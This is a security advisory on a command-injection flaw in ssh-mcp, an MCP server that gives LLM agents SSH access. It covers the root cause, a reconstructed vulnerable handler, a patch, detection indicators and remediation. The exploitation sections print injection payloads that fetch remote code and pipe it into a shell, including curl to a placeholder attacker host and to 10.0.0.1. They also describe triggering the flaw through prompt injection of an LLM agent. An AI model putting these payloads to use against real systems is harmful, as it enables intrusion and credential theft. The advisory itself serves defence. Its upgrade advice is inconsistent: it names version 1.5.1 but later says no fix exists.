CVE-2026-7039: Command Injection in ssh-mcp via shell.write Description Arg
ssh-mcp ≤1.5.0 passes an unsanitized Description argument directly into a shell command string inside shell.write, enabling local command injection with process privileges.
A dangerous security flaw has been discovered in tufantunc ssh-mcp, a tool used by developers to manage secure connections between computers. The vulnerability is like leaving your front door unlocked while advertising that fact online — theoretically anyone passing by could walk in.
Here's what's happening: The software has a feature that lets users add descriptions to certain operations, but it doesn't properly check what's actually in those descriptions. An attacker who already has access to your computer can hide malicious commands inside these descriptions. When the software processes them, those hidden commands run automatically, giving the attacker the same level of control over your system that the application has.
Think of it like a food delivery app that doesn't verify ingredients before sending them to your kitchen. If someone manipulates the order details, they could theoretically inject instructions that cause real-world problems.
This matters most to software developers and tech teams who use this tool as part of their development work. If your organization uses tufantunc ssh-mcp, an insider threat or someone who's gained access to your developers' computers could potentially take control of critical systems.
The good news is there's no evidence anyone is currently exploiting this yet. But the clock is ticking — the developers haven't released a fix despite public disclosure.
What you should do: First, check if you're actually using this software — most people aren't. If you are, update to version 1.5.1 or later immediately. Second, limit who has access to your development computers, and monitor them for unusual activity. Third, reach out to your software vendors to ask about their security practices and update policies.
Want the full technical analysis? Click "Technical" above.
CVE-2026-7039 is a local command injection vulnerability in tufantunc/ssh-mcp, a Model Context Protocol (MCP) server that exposes SSH session management as tool calls to LLM agents. Versions up to and including 1.5.0 are affected. The vulnerable surface is the shell.write MCP tool handler inside src/index.ts, which constructs a shell command string by interpolating a caller-supplied Description field without sanitization. Any process with access to the MCP socket — an LLM agent, a local user, or a compromised tool-call pipeline — can inject arbitrary shell commands that execute under the Node.js process identity.
CVSS 7.8 (HIGH) reflects the local attack vector: no network exposure is required, but the impact is full command execution at the privilege level of the running MCP server, which in agentic deployments is frequently a privileged service account.
Affected Component
The vulnerable function is the shell.write tool handler registered in src/index.ts. ssh-mcp wraps OpenSSH sessions behind MCP tool definitions; each tool call is dispatched to a handler that ultimately calls into Node.js's child_process or a live SSH channel write path. The Description parameter is a free-text label intended for logging and session annotation — it is never expected to reach a shell interpreter, yet the implementation constructs a shell string that contains it verbatim.
Affected package: ssh-mcp on npm, all releases ≤ 1.5.0. Runtime: Node.js ≥ 18. The MCP transport is stdio or HTTP/SSE; both expose the same handler.
Root Cause Analysis
The core issue is unsanitized string interpolation of a caller-controlled value into a command string passed to shell.write on a spawned PTY or directly to exec. The reconstructed TypeScript pseudocode based on the MCP tool dispatch pattern and the described sink:
// src/index.ts (pseudocode reconstruction, ssh-mcp ≤1.5.0)
interface ShellWriteArgs {
sessionId: string;
command: string;
description: string; // attacker-controlled
}
async function handleShellWrite(args: ShellWriteArgs): Promise {
const session = sessionStore.get(args.sessionId);
if (!session) throw new Error("Session not found");
// BUG: description is interpolated directly into shell command string
// without escaping, quoting, or validation. Any shell metacharacter
// (;, |, $(), ``, &&, etc.) in args.description breaks command context.
const logCmd = `echo "[${args.description}]: ${args.command}" >> /tmp/ssh-mcp.log`;
// logCmd is executed via shell — description payload escapes the echo context
await execShell(logCmd); // e.g. child_process.exec(logCmd)
// Primary write to the SSH channel also uses the raw string
session.channel.write(args.command + "\n");
return { success: true, description: args.description };
}
// execShell thin wrapper — no sanitization at this layer either
async function execShell(cmd: string): Promise {
return new Promise((resolve, reject) => {
// BUG: shell: true is implicit via exec(); metacharacters in cmd are
// interpreted by /bin/sh before the process image is replaced.
child_process.exec(cmd, (err, stdout) => { // shell=true
if (err) reject(err);
else resolve(stdout);
});
});
}
Root cause: The description argument from the MCP tool call is interpolated verbatim into a template literal passed to child_process.exec(), whose implicit /bin/sh invocation interprets embedded shell metacharacters as operator tokens before the string is executed.
The injection point is the template literal construction. A description value of x]: $(id) # produces the shell string:
echo "[x]: $(id) #]: somecommand" >> /tmp/ssh-mcp.log
^^^^^^
subshell executes id(1), output captured into echo argument
remainder of string is commented out — no syntax error
More destructively, x]; curl http://attacker/s|sh; echo [ignore chains a full network fetch and pipe into sh.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker controls MCP tool invocation — via LLM prompt injection,
a malicious MCP client, or direct access to the stdio/HTTP transport.
2. Attacker sends a tool call for "shell_write" with:
sessionId: any valid or guessable session ID
command: "ls" (benign, avoids suspicion)
description: "x]; id > /tmp/pwned; echo ["
3. src/index.ts handleShellWrite() constructs:
echo "[x]; id > /tmp/pwned; echo []: ls" >> /tmp/ssh-mcp.log
^^^^^^^^^^^^^^^^^
injected subcommand — executes as separate statement
4. child_process.exec() invokes /bin/sh -c
/bin/sh tokenizes on ]; — exits echo argument, executes id > /tmp/pwned
5. Command runs under the UID of the ssh-mcp Node.js process.
In agentic deployments this is commonly root or a service account
with SSH key material in memory.
6. Full RCE: replace id with reverse shell one-liner, SSH key exfiltration,
or persistence via crontab/authorized_keys write.
The attack requires no authentication beyond MCP transport access. In the typical agentic pipeline, any tool-calling LLM that has been granted ssh-mcp as an MCP server is a viable injection vector — an adversarial prompt in user-supplied content is sufficient.
Memory Layout
This is not a memory-corruption bug; the vulnerability class is command injection at the language runtime layer. The relevant "layout" is the string construction and process spawn chain in the Node.js V8 heap:
V8 HEAP — STRING OBJECTS BEFORE exec() CALL:
[SeqOneByteString] args.description
value: "x]; curl http://10.0.0.1/sh.py|python3; echo ["
length: 49
[SeqOneByteString] args.command
value: "ls"
length: 2
[ConsString] logCmd (template literal result)
left: "echo \"["
right: [ConsString]
left: args.description <-- attacker data, no copy, no escape
right: "]: ls\" >> /tmp/ssh-mcp.log"
────────────────────────────────────────────────────────
flat: echo "[x]; curl http://10.0.0.1/sh.py|python3; echo []: ls" >> /tmp/ssh-mcp.log
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
shell sees this as three separate commands
PROCESS SPAWN:
libuv uv_spawn()
argv[0] = "/bin/sh"
argv[1] = "-c"
argv[2] = logCmd.flat <-- /bin/sh interprets ]; as statement separator
Patch Analysis
The correct fix is two-layered: sanitize or reject the description field at input validation, and restructure the logging call to avoid a shell interpreter entirely.
// BEFORE (vulnerable, ≤1.5.0):
const logCmd = `echo "[${args.description}]: ${args.command}" >> /tmp/ssh-mcp.log`;
await execShell(logCmd); // child_process.exec — shell=true, metacharacters interpreted
// AFTER (patched — option A, input validation):
function sanitizeDescription(desc: string): string {
// Allowlist: alphanumerics, spaces, hyphens, underscores, periods only
if (!/^[\w\s\-\.]{0,128}$/.test(desc)) {
throw new McpError(ErrorCode.InvalidParams, "Description contains invalid characters");
}
return desc;
}
const safeDesc = sanitizeDescription(args.description);
const logCmd = `echo "[${safeDesc}]: ${args.command}" >> /tmp/ssh-mcp.log`;
await execShell(logCmd);
// AFTER (patched — option B, preferred: eliminate shell interpreter):
import { appendFileSync } from "fs";
// No shell spawn — write log entry via fs API directly
// args.description never reaches a shell context
appendFileSync(
"/tmp/ssh-mcp.log",
`[${args.description}]: ${args.command}\n`
);
// If exec is still needed elsewhere, use execFile (no shell) with explicit argv:
// child_process.execFile("/bin/somebin", [arg1, arg2]) // shell=false
Option B is architecturally superior: it eliminates the shell interpreter from the logging path entirely, making the injection surface structurally impossible rather than guarded by a regex. Any future bypass of the allowlist in option A would re-open the vulnerability; option B does not rely on input correctness for security.
Detection and Indicators
Detection is feasible at multiple layers given the local execution context:
PROCESS TREE INDICATORS:
node (ssh-mcp)
└── /bin/sh -c echo "[...PAYLOAD...]: ..." >> /tmp/ssh-mcp.log
└── curl / wget / bash / python3 ← anomalous child of sh
└── [reverse shell / dropper]
Flag: node process spawning sh which spawns network tools or interpreters.
FILESYSTEM INDICATORS:
/tmp/ssh-mcp.log — inspect for lines with shell metacharacters
(];, |, $(), ``, &&, ||)
~/.ssh/authorized_keys — unexpected entries post ssh-mcp execution
/tmp/.X* /tmp/.[a-z]* — dropper staging directories
AUDIT / SECCOMP:
execve syscall from node with argv[1]="-c" and argv[2] containing
semicolons or pipe characters should alert.
MCP TRANSPORT (HTTP/SSE):
Log all tool_call payloads. Inspect description fields for:
/[;|`$()&<>{}[\]\\]/ — any shell metacharacter
Remediation
Immediate: Upgrade to a patched release once available. Until then, if ssh-mcp cannot be removed from the deployment, wrap the MCP server with a proxy that validates the description field against a strict allowlist before forwarding tool calls.
Architectural: Never interpolate external strings into shell command templates. Use child_process.execFile() instead of exec() throughout the codebase — execFile does not invoke a shell and passes arguments as discrete argv entries, making metacharacter injection structurally impossible. Audit all exec(), execSync(), and spawn({ shell: true }) calls in the codebase for similar patterns.
Defense-in-depth for agentic deployments: Run ssh-mcp under a dedicated low-privilege service account with no write access to SSH key directories. Apply a restrictive seccomp profile that denies execve of network tools (curl, wget, python3) from the ssh-mcp process subtree. Consider mandatory access control (AppArmor/SELinux) profiles that confine the Node.js process to the minimum filesystem surface required.